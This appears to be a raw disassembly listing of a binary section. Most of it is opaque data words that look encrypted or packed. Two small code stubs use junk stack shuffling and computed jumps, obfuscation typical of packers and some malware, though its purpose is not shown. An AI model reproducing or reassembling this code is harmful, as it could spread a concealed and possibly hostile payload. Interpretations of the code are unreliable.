		dd 66709082h, 80A234DEh, 0B84AFAD4h, 2EE41CB8h,	937F8552h
		dd 34DE606Bh, 0B4AB17A5h, 0DC25E0Ah, 2BA3C777h,	12AE6E19h
		dd 1E1177C2h, 0D87193B1h, 8745AECh, 5956817Fh, 83EBC378h
		dd 7FCCD9E8h, 71417F54h, 7116AB7Dh, 0F736D488h,	0D3667315h
		dd 51ED9700h, 8F5A896Dh, 1EB3CA5Dh, 624F8779h, 26B1CF75h
		dd 844FD81Ch, 89B3203Ch, 55B5E26Bh, 2CE6F559h, 8F416084h
		dd 99ACA5Dh, 0AD57827Eh, 0A34F6B47h, 0CA5D8F7Ch, 0BDBBCCD5h
		dd 0ACD0F012h, 4CE51F21h, 3D95C13Bh, 9BE51FB4h,	5FE80C36h
		dd 79844C74h, 162EA4B3h, 137F55DEh, 840087CEh, 5F961EC2h
		dd 42BCC21Eh, 0D514D1B6h, 0AC55D65h, 5ED4FC96h,	1F8C4739h
		dd 0CC688CB6h, 5D66F928h, 528152CAh, 60A4A02Eh,	2A06FCC7h
		dd 81F2369Ah, 593E6CC6h, 9441AE27h, 0FF5B656Eh,	1CA2AD4h
		dd 1834FC96h, 0E51384BCh, 0BE9A5AE8h, 6F71F312h, 21E319BAh
		dd 0F4073C88h, 1A46BE15h, 926E86BEh, 6E43C17Bh,	1D77477h
		dd 2BD1015Dh, 0CE9700C9h, 824F2B0Bh, 0E4B37C78h, 0D2F63B94h
		dd 0CA5D43D3h, 9641982Ch, 77C51188h, 0F212784Ch, 0B5B86D99h
		dd 0C12A21Eh, 35E67EBh,	39F59502h, 0D7727155h, 0C3DDCA5Dh
		dd 6B5594D1h, 0FEC20FB3h, 5DF8CBDAh, 88F24CAh, 0E410DDF8h
		dd 0CA5DF8BDh, 82B35B28h, 664C36D2h, 664A665Dh,	0FB70285Eh
		dd 0D622C696h, 0CA5D6ECFh, 90EC9B28h, 0F60EC8A4h, 6EB5E791h
		dd 8A5BCA5Dh, 408BEF4Fh, 0A5B4D9BEh, 0F7059533h, 6A302F93h
		dd 3889CA5Dh, 6A554C78h, 25AECA5Dh, 1330572h, 47230000h
		dd 0EF25728Ch, 0DF656E12h, 0A00DC8B8h, 4DE90B35h, 5E247AA9h
		dd 0D5FED3CAh, 0F9EC2FEh, 9C043916h, 0E8DB068Dh, 6939E59Fh
		dd 74FCB553h, 0DB95021Fh, 0CA5DC5C2h, 0B54FF5DDh, 12F208C9h
		dd 0F8559411h, 0F4931B01h, 0F75D51A9h, 82BC4B35h, 7DEA982h
		dd 8C3854E4h, 0CA5DF095h, 0C04492EEh, 2F586B44h, 95B10F5Eh
		dd 0BA005h, 5C000000h, 4B27CD77h, 40477C86h, 5F6E125Ch
		dd 95D0D2E6h, 13C01360h, 512F58F1h, 96AE2881h, 8C79592Eh
		dd 0B1226CB4h, 0E1636B0Fh, 0E724EB6h, 0E9C242C2h, 7970629Eh
		dd 8F31A258h, 0F4A6FF3Fh, 854D6902h, 0B943547Fh, 11BB349Dh
		dd 0F311339Ch, 565A695Ah, 613D6E4Eh, 67306D78h,	0EA10C19Dh
		dd 64E0EE0Ah, 973FB21Ch, 2A9E566Dh, 0D400409Bh,	0CA5E05CDh
		dd 0B4269D26h, 1D44B00Ch, 76CA5E06h, 0AE46FEDAh, 0FCE9AE25h
		dd 3CB51DDDh, 6B7A5E93h, 0C4CA5E06h, 8720E4EFh,	0DAEAC63Ch
		dd 9B7F0ECh, 7E7A0D0Fh,	0D3715E53h, 2CF0C000h, 0DA646FC5h
		dd 3543911Ah, 0AC6631BCh, 1815BC04h, 5F762124h,	4F5BAE75h
		dd 0BCCB43F7h, 4AAE12D8h, 0CA5E241Bh, 0B5215F74h, 0DEF8088Fh
		dd 0AE46F8D3h, 6A56AE25h, 8C38CC06h, 6F9BF12Ch,	0ACCCBB2Fh
		dd 1AD01F26h, 7298F205h, 0D7FB5F61h, 20ABC72Dh,	764DE61Eh
		dd 4E877311h, 0A92450B4h, 5AE95D97h, 0CCD9D27Fh, 85512D0Dh
		dd 2BDDB480h, 8D36D60Ah, 0C7B9DE67h, 537EE20Fh,	5F1847B1h
		dd 836FCA5Dh, 0CA5D5F5Ch, 0FDC6ECB5h, 22C6EAC6h, 0CA5D5F03h
		dd 7D69475Ch, 0CA5D5F66h, 0E5A5F2BFh, 62816549h, 0BBCA5D5Fh
		dd 745FA1E6h, 1DA66077h, 0E41EB793h, 516D49B3h,	56A2A02Dh
		dd 0CA5D5F4Fh, 206415BAh, 0CEF4E4BEh, 57669205h, 0B7071ECAh
		dd 0B41ECA5Dh, 0D7DB7490h, 93B7F9CAh, 65EE0638h, 5928C1Bh
		dd 0D1735B77h, 708A4733h, 0D7129394h, 149C7C7Ah, 93B6DD57h
		dd 2F36A23Ch, 88CA5D62h, 0BC28883Bh, 0CA5D62A5h, 0FBE2B5FEh
		dd 414C2DE0h, 1C800595h, 5D5CA9B8h, 0E6B102CAh,	16619h
		dd 6E125300h, 7521E361h, 5E245251h, 0AD16ABCAh,	0C1309EDAh
		dd 0D7D9EA10h, 0F4EBD7B3h, 4DCA5E23h, 246D7484h, 0FDC6CA5Eh
		dd 2A46F28Ah, 0C92D93A9h, 0CA5E249Ah, 0C7B9DEF3h, 1A2BA330h
		dd 12769E2Bh, 0E51FB436h, 5539774Ch, 5D907271h,	61DC9CAh
		dd 5FCA5D90h, 34637052h, 1D27ACC8h, 2FD1FBD7h, 6E500D5h
		dd 9C27DDF6h, 0DAFEA23Eh, 0CA5D8FCBh, 5D088F24h, 35A2BE7Eh
		dd 5E78880Fh, 2ACA4453h, 0E0E032A1h, 900918BCh,	5162CA5Dh
		dd 559C3A46h, 5D907271h, 0CDF6CBCAh, 0B54F87E3h, 7311764Fh
		dd 192BA3C7h, 334552DBh, 2F5659Eh, 26DDB6h, 8CCFD658h
		dd 6073606Ah, 32D2FC60h, 12BB9765h, 0D1E814F0h,	0D9EC9D57h
		dd 2AB15502h, 0DCEB8FAFh, 8E7CA34Fh, 0CCD5CA5Dh, 0CAE1FDF7h
		dd 0F1148350h, 5951510h, 657C6844h, 0BECA5D88h,	0BCD5A2F5h
		dd 33000000h, 0D7EA2A6Bh, 247332AFh, 4AAE12F0h,	0CA5E241Bh
		dd 0B0215F74h, 0B6E16A8Ah, 2AA50CCAh, 23C2E105h, 861BCA5Eh
		dd 462A863Dh, 0B27B798Bh, 10301CEh, 0B9A55F28h,	739931Ch
		dd 516F64EDh, 63A1A32Dh, 133FBDCAh, 8E6A8A84h, 703FC57Fh
		dd 7662E2F9h, 0CA5E246Fh, 5C8FBC8h, 39CB0367h, 0E454974Eh
		dd 3EB64E88h, 0F8D62275h, 0B122D8F9h, 0DE606B0Fh, 123159B9h
		dd 22E2626Eh, 0D002FE89h, 0EAE8842Ch, 13B74552h, 0CA5E2409h
		dd 599BA926h, 56AE547Dh, 7DDA1194h, 3810A07Ch, 0D4808F5Dh
		dd 0BF1AC3D4h, 4CF6DB7Fh, 95781FA8h, 595FDC4h, 0AD7h, 693900h
		dd 0E586A932h, 0D2B3E9AEh, 2123AE3Bh, 46B20EB2h, 0CA5E241Fh
		dd 0A05C2B78h, 0D4E0ACF4h, 0E4F012BBh, 9A3E4793h, 0CA5E118Bh
		dd 9304CFE4h, 21C56A65h, 0CA5E1102h, 337D465Bh,	11746B57h
		dd 6DFCA5Eh, 0B3EFBB2Dh, 0DAEAB7FBh, 0EF67D19Ch, 780493CEh
		dd 1ABE735Ch, 0CA5D850Bh, 80844F64h, 2EC67E54h,	5D9D3CA9h
		dd 9730D44Eh, 6C10AC2Ch, 2EB7E060h, 2FBC4BABh, 0CD669E98h
		dd 3896BAF6h, 385FE80Ch, 0EBAD6DAh, 0CA5D8517h,	70D2F582h
		dd 2C0CF2Ah, 16A4E6B1h,	0D2725E02h, 5E14FF26h, 784B58CAh
		dd 2D0D6838h, 274808B4h, 9B2908Dh, 0E7B0237Eh, 299B5D9h
		dd 5BF97F08h, 0D0D2574Fh, 0D71D27ACh, 0D579494Eh, 1FA84CC6h
		dd 64700CB4h, 2551ABDCh, 768C45AAh, 1EB9B54Dh, 0B167F0E5h
		dd 279C8E84h, 0E1E1F1CDh, 0C6459A68h, 6F70088Fh, 8AC2637Eh
		dd 223EB64Eh, 0E57490B4h, 0FDE06D6Ch, 88973B5Fh, 0E1C2637Eh
		dd 1E26B0D0h, 4DEDEC79h, 7E5E8571h, 0EAB7C263h,	0BB705B9Dh
		dd 637E0817h, 835061C2h, 0EDA1753Dh, 46F64C42h,	57677E6Ah
		dd 0F3C0C263h, 264AE6A4h, 0EEA9D97h, 413542C3h,	9B0A8530h
		dd 0C0248828h, 0C26377A1h, 26DEA9FAh, 0A6529F3Ah, 0C263777Fh
		dd 0B8F8CBD8h, 91093894h, 90EEFA5Fh, 20A94B78h,	0E6F10D77h
		dd 0D034CE09h, 4C28CCF7h, 71A78382h, 1DE2DF24h,	0B9A4EA6h
		dd 782883D0h, 3C4BC5D4h, 96FA4AA1h, 63393332h, 50378CC2h
		dd 0E488A530h, 119A5AEAh, 6338B8E7h, 13C011C2h,	0BEE511ADh
		dd 17C26337h, 0B18DFD8Ah, 37BAE90Dh, 0AB13C263h, 63371847h
		dd 736071C2h, 6870E124h, 6844026Fh, 0C335CF04h,	0C263439Ch
		dd 0E004ACF5h, 0C26342C1h, 81FE891Ah, 397h, 0C8D7FB9Fh
		dd 0DFC26342h, 23AC48F2h, 11E5139Fh, 0F804FE42h, 0E201E5CBh
		dd 3BC263C2h, 12FB2166h, 0A05BA5C2h, 0A7F096BAh, 58D5D563h
		dd 0A63839C9h, 95A59440h, 0FE868004h, 0FFCFEBD5h, 103099BBh
		dd 9761263Fh, 0D25789D5h, 5FE5EE92h, 4A268A38h,	7170788Ch
		dd 0CAC26383h, 8E2ACAF9h, 0D45FE6F2h, 4E28938h,	8B37794Ah
		dd 0C2640F94h, 0C5B3E4EDh, 1A28A50Ah, 4D5559A9h, 0D2AE67BDh
		dd 659304F2h
		dd 68C3D96Ah, 7C3E0E8Ch, 0CC28D8F4h, 8834D003h,	18401138h
		dd 1A6D1027h, 0EFFEF3DEh, 29A3CF35h, 7F54DD17h,	0C4106C54h
		dd 48F0B83Ch, 4EF1DF97h, 9B692EA5h, 369B28BFh, 745FE80Ch
		dd 0D96B6490h, 0BF1AA91Bh, 43671992h, 6360809Fh, 0BFC8D9C2h
		dd 9833C326h, 6D87B913h, 1D1EFE4h, 17289CAFh, 0C04A3D24h
		dd 0D2735C00h, 0F4A987CEh, 4DA71C98h, 63F21384h, 35026FBDh
		dd 0F0766D59h, 2CFC263h, 52B2527Eh, 1A710E79h, 0CF000001h
		dd 0E61E20ABh, 0CE26DEFAh, 0D3C9CE05h, 4226AE12h, 4888549h
		dd 0B3C1E008h, 891ACA5Dh, 2C300CFEh, 0E2CEA39Fh, 23ACD496h
		dd 0B20EB221h, 20202CEh, 3CA0BF29h, 0A8F9CA5Dh,	0CEF5E1DFh
		dd 654A5D3Bh, 9BA92549h, 5D3C564Dh, 7522AF4Ah, 1812A9C5h
		dd 896D53DCh, 4A5D3C5Ah, 0BB51EB3h, 0ECD8626Fh,	0B42F2480h
		dd 45BFC81Eh, 92913559h, 0FD4A5DE7h, 4DDE274Dh,	0EA31F31h
		dd 24E06472h, 6D74FC8Bh, 844A5DAAh, 634FB54Fh, 5DAA607Fh
		dd 88E8B94Ah, 9052B24Ah, 4E79D615h, 7BAA4E72h, 0D44A5DAAh
		dd 0ECD98FFh, 3F66922Eh, 984A5DAAh, 0A9D5CCF8h,	0A52E4A5Dh
		dd 9921692Eh, 0AA4E5581h, 1AA74A5Dh, 6F6307A9h,	0F1962FD5h
		dd 32636B4Fh, 0AB23EF38h, 1CD86864h, 0A1574093h, 0CA5D5062h
		dd 0C97B55F9h, 0BA1EA22Bh, 0CA5D50ABh, 0DAE8AF04h, 7D555C76h
		dd 2FA42DC7h, 0A7A066A5h, 665D7639h, 1CB8949Ch,	8720E4h
		dd 182FFh, 923D2100h, 846A795Dh, 0EEC3CA5Dh, 1861FE5h
		dd 0D2AE121Bh, 0E8F7013Bh, 0FFCA5E23h, 388929D3h, 9D9D3B4Fh
		dd 4D3AD6E9h, 446C572Eh, 0F9657C68h, 18BCCA5Dh,	0CA5DF909h
		dd 60715162h, 9B5D8937h, 4AD25810h, 0E2638266h,	0E7BCC263h
		dd 642293DDh, 566DCBAFh, 2CD8F65Ah, 0EC98FFC8h,	0A2A22C50h
		dd 0E3C803F5h, 0C09C58EAh, 0ECD7EC14h, 7584E8C4h, 887039BBh
		dd 0C2632859h, 1C7621B2h, 619B3814h, 7B7D0AA3h,	0CE705B50h
		dd 8A269D36h, 28A3C226h, 0A7FCC263h, 0D47824E0h, 0B43C4BC5h
		dd 0C26329A8h, 0FEF60CC9h, 0B54FF5E2h, 1F2CAF26h, 94A447BEh
		dd 0B3E41CB8h, 4DF90AC5h, 0F16C26Fh, 68C26342h,	38EB695Bh
		dd 414D5480h, 1DA6C263h, 0B7931DA6h, 55B5E21Ch,	13959523h
		dd 788F7424h, 361A962Dh, 1B1D6A9Ah, 4EF0DB7Fh, 66A1DB6h
		dd 0CA636B17h, 199B6FEh, 2D26A68h, 9AED1373h, 0ED17C0A0h
		dd 0EEB6DAD6h, 0DD3A1787h, 0E201E750h, 3BBA6406h, 0B7632166h
		dd 86F1E1E7h, 6865FE36h, 42911ADAh, 43A82355h, 0B17A7AB4h
		dd 14C29E22h, 4C3B14F0h, 0F60EC4B0h, 4EF6E2FEh,	38B332B6h
		dd 0A346BD1Bh, 0E21CB793h, 0CFE8922h, 49C3DA2Eh, 831A367Ah
		dd 9EE26B89h, 0B3851232h, 100FB3D7h, 7BBA638Ch,	0F488A6FBh
		dd 4B585AC3h, 0E8E5B43Ch, 0B0CCC263h, 52DB1923h, 842C7545h
		dd 0B4A5BC28h, 0B5FEB263h, 126428E2h, 22E2626Eh, 2E0CFE89h
		dd 24B7AE1Ah, 5CECA5Eh,	862C05FFh, 9A2A863Dh, 2939B8EEh
		dd 5A663112h, 5DBBAF6Eh, 56FA96D2h, 0A22BC97Bh,	5D874F56h
		dd 0DC08A8C2h, 0C25D86C5h, 823E951Eh, 5D874F56h, 6C1BA8C2h
		dd 0CA27B2CEh, 33FCF80Ch, 458D33A0h, 418D8A8Ch,	1EE6B1AFh
		dd 12B53282h, 6CDC96D0h, 0FDF2DD1Bh, 72A033D1h,	1E26B2CEh
		dd 3E3A4DE6h, 6B7A5E93h, 0C4C25D44h, 0D4DCE4EFh, 379BC0D0h
		dd 0C25DCE28h, 0C0A43081h, 0EB99FEC9h, 58876B4Fh, 0B1C25DE9h
		dd 30103CDh, 8AEE992Ah,	0EED9D620h, 67436717h, 0E1FC647Bh
		dd 4F4BD95h, 95E1FBDDh,	776E5A36h, 0D095E1FCh, 8904D003h
		dd 1E6E0825h, 0BF1AC3D4h, 0A8B71B7Fh, 195E1E7h,	3E99E7B0h
		dd 0D91B21B1h, 5D847050h, 0B695E1E7h, 0CADAD6EDh, 57105425h
		dd 0DF03AD79h, 95E14BC0h, 93FF8819h, 0FB05CFABh, 4C1211B5h
		dd 566B95E1h, 7B844F31h, 55F23D65h, 0E9F8DC92h,	4295E1C8h
		dd 4F716271h, 589CA62Bh, 603CC8CFh, 6532D2FCh, 2885BE13h
		dd 0C8F4A9A1h, 6509A71Ch, 951ED66Ch, 4F5E7A02h,	0B4432FD5h
		dd 42BB7A7Ah, 922EAAA7h, 0BC9BCA2Eh, 0DFF495E1h, 8EAE2DB8h
		dd 0C326C046h, 2D5ABE5Eh, 0A22B804Bh, 8480824Dh, 53DC18ABh
		dd 26AE9280h, 0B282FC3Fh, 0B6AD1921h, 0F95E1D0h, 626F11C2h
		dd 6D1AFD8h, 0EF152FA9h, 7B436D56h, 15C53438h, 0FA8215E1h
		dd 6E96421Eh, 0ADCABD96h, 1Ch, 646E12E7h, 23FA29CDh, 7E53CA5Eh
		dd 7116AF55h, 84704CF0h, 0CA5E245Dh, 7A9AEDB6h,	0FAFA02D2h
		dd 0B351F3DEh, 10F40EC7h, 9C58E8E4h, 16EE16C0h,	9C58ECEAh
		dd 0BE913C0h, 0A65ED8EFh, 20E418BAh, 35936872h,	2C890000h
		dd 7DB46824h, 3C890000h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebp
		push	8001A52h
		mov	edi, [esp]
		add	esp, 4
		push	esp
		mov	ebp, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 8
		add	eax, ebp
		mov	[eax], edi
		pop	eax
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		jmp	loc_5A99E0
; ---------------------------------------------------------------------------
		db 6Ch,	93h, 0AFh
; ---------------------------------------------------------------------------
		cmp	ah, [ecx+38AC54B2h]
		and	eax, 2735B8D8h
		add	[eax], cl
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		db 0BDh, 81h, 5Ch
		dd 7BF2A271h, 2860BF5Bh, 0D1CCDA70h, 28D4537Fh,	0AD96C425h
		dd 0A936331Ah, 65AF5D14h, 0AF57676Ah, 1A5F515Fh, 0E3BA362Eh
		dd 91A7BC26h, 0D755B828h, 0B4660708h, 43C6280Bh, 8601B02Eh
		dd 76773E75h, 19310245h, 38BF406Dh, 0B7A55C47h,	8F2AE700h
		dd 1A29A77Ch, 0F92DE320h, 0EA191B00h, 101FB56Ch, 0E399A138h
		dd 59A7DB12h, 32D3395Ah, 112A7030h, 1143E067h, 4C600432h
		dd 7DC95FF1h, 55C10516h, 11558416h, 44054032h, 9A0CB3F1h
		dd 0EB6125AFh, 7B808335h, 12A85332h, 31400232h,	981FC26Dh
		dd 9044A44Eh, 6446476h,	56402032h, 4CF1D365h, 5A9D0DFh
		dd 0CF400432h, 0B5395D3h, 60446DCBh, 0D69786BBh, 0E393C956h
		dd 92024D54h, 0EB56C18Fh, 18350835h, 2475B9B1h,	654005C8h
		dd 9A13512Bh, 154338F2h, 94C94032h, 16BA3E1Fh, 2E9A8DBFh
		dd 0C2BF0FCFh, 0ACC35C69h, 16BA3707h, 41577532h, 15433861h
		dd 94C94032h, 16BA3E1Fh, 2D898DBFh, 0C2BF0FCFh,	9C695C69h
		dd 16BA251Fh, 112AC1B9h, 11436867h, 4C604032h, 7DC97DF1h
		dd 55C11416h, 11540C16h, 44050432h, 0F8103AF1h,	11400120h
		dd 0CDDC8EE3h, 2B57A99Fh, 0A334334Bh, 933CF87Bh, 771B06E6h
		dd 8C63DCBEh, 16BA114Fh, 114010DAh, 0E9880132h,	19432FA8h
		dd 28FAD9C2h, 0EB0DF248h, 0B91B92BFh, 0DC40B36h, 7B400236h
		dd 12A85232h, 31408032h, 981B8369h, 9044046Eh, 8443476h
		dd 52400832h, 28BC761h,	965436FCh, 3039843Bh, 9A2687C8h
		dd 64FDC3EBh, 1147DA2Ch, 1179943Dh, 112A0832h, 1143EC63h
		dd 48600232h, 5DC958F1h, 55C18416h, 115C4416h, 40012032h
		dd 0E938E8F1h, 27DF0198h, 8C43FF10h, 16BA019Bh,	0AC717185h
		dd 16BA8827h, 1143EEDBh, 0AFC39732h, 13403732h,	0F9120858h
		dd 11400431h, 4B835812h, 156455BBh, 1564C4B3h, 1140402Ah
		dd 34837270h, 254B560Eh, 45BE8DBFh, 0C1BF03CCh,	3F0D971Bh
		dd 0D1C506C8h, 11AB043Dh, 0F8124032h, 11402034h, 5EEB79Eh
		dd 901FE773h, 9026530Ah, 50C50DC9h, 7B400132h, 12A8D232h
		dd 31404032h, 981AE368h, 90443466h, 0A442C76h, 53400432h
		dd 4F98C160h, 0E71BF6D4h, 9026EEBEh, 1342444Ah,	123FA43Dh
		dd 84431032h, 16BA093Fh, 1146863Dh, 84CB0232h, 16BA0DEBh
		dd 8D780154h, 97C54F52h, 7B402032h, 12A84732h, 31400832h
		dd 981FC76Dh, 9044264Eh, 9442576h, 56408032h, 59E18365h
		dd 9A78C67Bh, 133890E5h, 4BC507DAh, 77400432h, 11467AB3h
		dd 5FC50E99h, 7B408032h, 12A81132h, 31402032h, 9819D36Bh
		dd 90442C7Eh, 8442076h,	50400232h, 19B7C263h, 0E108E266h
		dd 13A9AE87h, 7B402031h, 12A84132h, 31400832h, 9819C76Bh
		dd 9044267Eh, 9442576h,	50408032h, 0F8988363h, 98127D66h
		dd 0EB429DA7h, 1040B635h, 112A4233h, 1143EA65h,	4E600132h
		dd 6DC9DFF1h, 55C14416h, 115C2416h, 46071032h, 410524F1h
		dd 2E486CCCh, 1EA9DDA0h, 54400132h, 0DD63A77Ch,	0EDD1F23Eh
		dd 4500EAF6h, 94CDEF48h, 16BE5CCCh, 0F9110458h,	11400231h
		dd 48835812h, 1564CCBBh, 156404B3h, 11402027h, 0A9834173h
		dd 0F890F704h, 1140043Ah, 12D83660h, 0AAD6ACB1h, 954F40B7h
		dd 1140423Dh, 0F9162058h, 11401031h, 4F835612h,	156470BBh
		dd 156446B3h, 11400129h, 0FE83D674h, 0CD410A9Fh, 906BEE32h
		dd 0EF7874C3h, 77788927h, 1E42060Fh, 114074B7h,	40406B32h
		dd 114083DAh, 0D2196032h, 350CA96Bh, 35049136h,	11401036h
		dd 0D2114532h, 64CC9149h, 1145E831h, 3B008032h,	1EC963E0h
		dd 114036BBh, 1151F932h, 53330832h, 0ADC463B8h,	0A7B6F7D4h
		dd 40DE4538h, 90C58F7Dh, 2C26464Ah, 954F5A6Dh, 114011EFh
		dd 0F9120858h, 11400431h, 4B835812h, 156455BBh,	1564C4B3h
		dd 1140402Bh, 3C837270h, 0A4C73F2h, 7798839Eh, 71DC3CB3h
		dd 1113873Dh, 0E3C10132h, 483FD6DEh, 0F94238B2h, 1103A53Dh
		dd 90261032h, 777548E0h, 11467CB3h, 23C50DF2h, 7B400132h
		dd 12A8D232h, 31404032h, 981AE368h, 90443466h, 0A442C76h
		dd 53400432h, 0A680C160h, 0EB74252Eh, 0A717E5BCh, 8C491FA0h
		dd 16BA3157h, 11414CDBh, 1040B632h, 94CD7A33h, 16BE56CCh
		dd 1C7DB4BBh, 0C1BF87C8h, 0F9164058h, 11402031h, 4F834E12h
		dd 15647CBBh, 156440B3h, 11400228h, 0A2835774h,	4BDE1F13h
		dd 9F4FDB0Fh, 11402032h, 954FD0B7h, 114008F1h, 6416CEB3h
		dd 29C01435h, 26C50EDAh, 1E408032h, 9C4FBB8Dh, 11402034h
		dd 3D519DBBh, 69C00FC8h, 944F7737h, 1140022Ch, 13218CB9h
		dd 69C087C8h, 954F1335h, 114020D3h, 0CFD9B52h, 1E47F21Fh
		dd 114004BFh, 90266332h, 1E458E0Ah, 1140F2B7h, 54D54932h
		dd 9147DA16h, 1E28164Ah, 11406AB7h, 80F53532h, 7747F806h
		dd 0EE4B79B3h, 41C58F17h, 7B404032h, 12A87732h,	31401032h
		dd 981FCB6Dh, 9044204Eh, 4442676h, 56400132h, 0AEAF4365h
		dd 9CCB88B9h, 16BA3B07h, 3C91A5BBh, 67A90FC8h, 7B400432h
		dd 12A85332h, 31400132h, 9819436Bh, 9044647Eh, 9440476h
		dd 50401032h, 2BC7CB63h, 0A9FDB5FBh, 11400232h,	0F9150158h
		dd 11408031h, 4C831D12h, 15644CBBh, 156454B3h, 11400829h
		dd 0D1835177h, 0A069FB63h, 0F829C4AFh, 11408006h, 0F9134058h
		dd 11402031h, 4A834B12h, 156454BBh, 156440B3h, 11400229h
		dd 9F835271h, 0FA45610Eh, 20535EA6h, 0EB490587h, 1141A835h
		dd 84C90832h, 16BA0D87h, 4104B1A2h, 0E8CB6763h,	9CC9106Bh
		dd 16BA417Bh, 2799DBBh,	0ACCD17C8h, 1940202Fh, 3C9A89BFh
		dd 32F80A32h, 12376767h, 0EB5C49B7h, 0D08F6B35h, 1040B6DBh
		dd 94CD7A33h, 16BE56CCh, 1C7DB4BBh, 0C1BF87C8h,	0F9164058h
		dd 0E9832031h, 58A4F305h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 19h, 45C35747h, 93EE47BFh,	0B2F3B5B1h, 0FC00B3Bh
		dd 5B84h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1704h, 0C3514100h, 3EFA4476h, 4F53B58Dh, 950907FAh
		dd 7FA1EFDh, 3B8h, 0D9BF0F00h, 0E6FFF88Bh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 3CC35747h, 6BA3DE01h
		dd 23D92754h, 20DCBF40h, 0C08B02EFh, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ch, 0E9C35747h,	0F51D38B4h, 2A877C5Bh
		dd 16D1BD83h, 750007FAh, 35BD8309h, 7FA35h, 53501974h
		dd 3B8C08Bh, 89000004h,	0FA112D85h, 419D8D07h, 0FF07FD40h
		dd 83585BD3h, 0FA3535BDh, 17740007h, 3B85350h, 89000004h
		dd 0FA112D85h, 0E29D8D07h, 0FF07FD3Ch, 8B585BD3h, 0FA01658Dh
		dd 0BD8D8B07h, 8B07FA1Eh, 56006AC0h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1504h,	0C3564600h, 89570972h
		dd 0FA0955BDh, 0CE95907h, 0A000000h, 41D814Bh, 468BA980h
		dd 614F2318h, 0D4712ADEh, 0DC4B46D4h, 0C8557F01h, 98525CD4h
		dd 0A90B3363h, 982633A9h, 5E265AF1h, 623342EFh,	0B44E6032h
		dd 67A5E4FFh, 6238BEF8h, 0C0A3BEA1h, 6721CD69h,	6DA3BA79h
		dd 1B21C9D2h, 622FDED7h, 1D293332h, 98263383h, 0B76AB6C0h
		dd 15763BA6h, 98090DD6h, 0DD963A1h, 9FDC3521h, 98266483h
		dd 15235935h, 98097D1Fh, 1DAB6345h, 90261C98h, 0DDB3CC03h
		dd 9321C9BCh, 0A1A23C14h, 1526336Ah, 98097DB0h,	0AACE6392h
		dd 0D826334Dh, 0CCA3BEF6h, 0C82E337Ch, 0B768B624h, 67763BD4h
		dd 621576FFh, 94E2B032h, 0B768B617h, 15763B4Dh,	98090D23h
		dd 0DD9635Bh, 9FDC355Ch, 9826513Dh, 74AD666Ah, 0CE746464h
		dd 0AB2E4E11h, 9824DA8Dh, 0DF6633A6h, 97260CD3h, 67D9C62Ch
		dd 13EF002Bh, 0B2CF3B17h, 0AB263335h, 1831B948h, 68AD03A7h
		dd 5AAD63E8h, 982C8800h, 9BCF33A9h, 6F2633D4h, 66A57D89h
		dd 6CA13C35h, 0C3D9CC65h, 0DF7EFB4Eh, 97E638EEh, 67D9FDD6h
		dd 0C6E7B856h, 517F6C8Eh, 152637A8h, 98090F88h,	0E9ABBE92h
		dd 202E337Dh, 93h, 71E7FC78h, 0D0073102h, 4C783C8h, 0F2850F49h
		dd 8DFFFFFFh, 3071B5h, 908D8D08h, 2B080030h, 5E983CFh
		dd 5E8C88Bh, 4C000000h,	257305B9h, 718D8953h, 5A07FA12h
		dd 18840F5Bh, 0E9000000h, 13h, 45236EF5h, 0A9CA9F6Dh, 2785BABDh
		dd 0F1B61F20h, 819AC295h, 6735C3h, 0A6E4BA00h, 684378h
		dd 0F9000000h, 5D8D8958h, 0FF07FA1Dh, 0D08B1834h, 0BAF18159h
		dd 89339D17h, 0FA327D95h, 2EC18107h, 3166D709h,	0FA190185h
		dd 0C2F18107h, 0B61188C1h, 30C89ADh, 1ED58D89h,	9E907FAh
		dd 0BE000000h, 0AC290A6Dh, 360164BFh, 4801E883h, 0F8814848h
		dd 0FFFF9978h, 0FFB1850Fh, 12E8FFFFh, 0F2000000h, 72EFEC40h
		dd 2196A35Bh, 0AAA0CAA4h, 0BEAB4E81h, 0F985893Ah, 5A07FA13h
		dd 0B0E9h, 8C666000h, 4C2F6DAh,	0C850Fh, 853B0000h, 7FA1229h
		dd 36840Fh, 853B0000h, 7FA21DDh, 2A840Fh, 853B0000h, 7FA1F3Dh
		dd 1E840Fh, 853B0000h, 7FA18BDh, 12840Fh, 0BD830000h, 7FA2ADDh
		dd 5840F01h, 0E9000000h, 5Fh, 5203D08Bh, 88BA8B3Ch, 8B000000h
		dd 0C985784Ah, 49840Fh,	0C2810000h, 0F8h, 30C728Bh, 1C598BC8h
		dd 314518Bh, 850B8BD8h,	10840FC9h, 3B000000h, 17820FCEh
		dd 3B000000h, 0F830FCFh, 83000000h, 0F4A04C3h, 0FFFFDC85h
		dd 0DE9FFh, 9D8D0000h, 7FA4F53h, 5B8h, 61E3FF00h, 0E8D00BC3h
		dd 0Dh,	906470BFh, 7B1BD96Fh, 74EA4466h, 0B1B5230Bh, 5807FA32h
		dd 3794BE66h, 7058C081h, 85890000h, 7FA1C71h, 1BDDBBh
		dd 11852900h, 0FF07FA17h, 8797BF30h, 8B5A0279h,	0FA2D958Dh
		dd 73EA8107h, 2B65477Bh, 0FA0C2DB5h, 45F28107h,	812033F7h
		dd 0E0F44BC9h, 3DF28109h, 8B0DCDD5h, 0FA328DBDh, 0F108907h
		dd 0B82h, 6E900h, 0EA280000h, 82A580B0h, 0E804E883h, 14h
		dd 80D8033Fh, 0A2FB393Dh, 6FB3C05Dh, 3589AE42h,	0B4923275h
		dd 7B99531h, 815907FAh,	1EBh, 2D850F00h, 0E9000000h, 10h
		dd 1AE6CBFAh, 2522305Eh, 0CAA36F3Ah, 0BDB822F5h, 2BE9h
		dd 0FAD37100h, 0DF0735D3h, 71D021Dh, 67835DB7h,	2C2AB227h
		dd 0E9D8DD80h, 0FFFFFF57h, 0EBFABB88h, 0B00F54D3h, 43D28A3Fh
